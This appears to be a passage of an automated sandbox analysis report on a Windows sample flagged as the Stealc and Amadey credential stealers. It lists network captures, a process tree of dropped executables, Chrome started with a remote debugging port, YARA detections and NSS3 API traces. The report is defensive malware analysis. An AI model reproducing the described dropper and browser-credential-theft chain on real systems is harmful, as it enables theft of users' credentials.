65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:26 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:26 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 3586536b-101e-007a-0aa0-34047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011426Z-15869dbbcc6lxrkghC1DFWqpdc00000007d00000000000yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:26 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:26 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:26 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 4108ff25-201e-00aa-42a0-343928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011426Z-17df447cdb5vp9l9hC1DFW5hw800000006wg00000000awfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:26 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:27 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 95e3a472-701e-0050-58d2-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011427Z-16547b76f7fvllnfhC1DFWxkg80000000evg00000000rwdm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:27 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:27 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e1fdd300-601e-0050-075b-322c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011427Z-16547b76f7f7lhvnhC1DFWa2k00000000esg00000000he0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:27 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	20:13:00
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd90000
File size:	1'759'232 bytes
MD5 hash:	0EB9375B1842C87FD94163A21CB3C0B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1672323842.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2075096888.0000000000D91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:13:10
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:13:11
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2036,i,16395452361814298207,10428088418057651845,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:13:39
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFCFIJEBFCG.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:13:39
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff619e20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:13:39
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsFCFIJEBFCG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFCFIJEBFCG.exe"
Imagebase:	0xcd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2131892862.0000000000CD1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:13:45
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:13:57
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Imagebase:	0x3f0000
File size:	3'147'264 bytes
MD5 hash:	D8B8019D8D8E9A3B35E59810C6C9582B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:14:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2320408364.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:14:02
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Imagebase:	0xf00000
File size:	1'759'232 bytes
MD5 hash:	0EB9375B1842C87FD94163A21CB3C0B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2341575409.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2300326058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:14:07
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:14:09
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Imagebase:	0x3f0000
File size:	3'147'264 bytes
MD5 hash:	D8B8019D8D8E9A3B35E59810C6C9582B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:14:14
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Imagebase:	0xf90000
File size:	2'802'176 bytes
MD5 hash:	63FDBE40E34853F023CC8F6EF32D2FC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:14:17
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Imagebase:	0xf00000
File size:	1'759'232 bytes
MD5 hash:	0EB9375B1842C87FD94163A21CB3C0B9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2491740211.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2448884433.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:14:26
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Imagebase:	0xf90000
File size:	2'802'176 bytes
MD5 hash:	63FDBE40E34853F023CC8F6EF32D2FC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	20:14:34
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"
Imagebase:	0x3f0000
File size:	3'147'264 bytes
MD5 hash:	D8B8019D8D8E9A3B35E59810C6C9582B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2790110258.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2768205750.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2702112957.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2749628393.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2703641474.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2704648103.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	20:14:42
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"
Imagebase:	0xf00000
File size:	1'759'232 bytes
MD5 hash:	0EB9375B1842C87FD94163A21CB3C0B9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000003.2695121940.0000000005690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000015.00000002.2735614002.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:14:50
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"
Imagebase:	0xf90000
File size:	2'802'176 bytes
MD5 hash:	63FDBE40E34853F023CC8F6EF32D2FC2
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	20:15:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2927567295.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	20:16:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3523371917.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	20:17:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.4123331034.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	20:18:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.4724390923.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	20:19:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.5322756464.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	20:20:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdd0000
File size:	3'203'072 bytes
MD5 hash:	1F3B7E421D9DA42574A703164BC38191
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.5925030724.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6C716E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,6C717E60), ref: 6C716EBC
TlsGetValue.KERNEL32 ref: 6C716EDF
EnterCriticalSection.KERNEL32(?), ref: 6C716EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C716F25

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C716F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C716FA9
TlsGetValue.KERNEL32 ref: 6C7170B4
EnterCriticalSection.KERNEL32(?), ref: 6C7170C8
PR_CallOnce.NSS3(6C8624C0,6C757590), ref: 6C717104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717117
SECOID_Init.NSS3 ref: 6C717128
PORT_Alloc_Util.NSS3(00000057), ref: 6C71714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7171A9
PR_NotifyAllCondVar.NSS3 ref: 6C7171CF
PR_Unlock.NSS3 ref: 6C7171DD
free.MOZGLUE(?), ref: 6C7171EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C717208
free.MOZGLUE(00000000), ref: 6C717221
free.MOZGLUE(00000001), ref: 6C717235
TlsGetValue.KERNEL32 ref: 6C71724A
EnterCriticalSection.KERNEL32(?), ref: 6C71725E
PR_NotifyCondVar.NSS3 ref: 6C717273
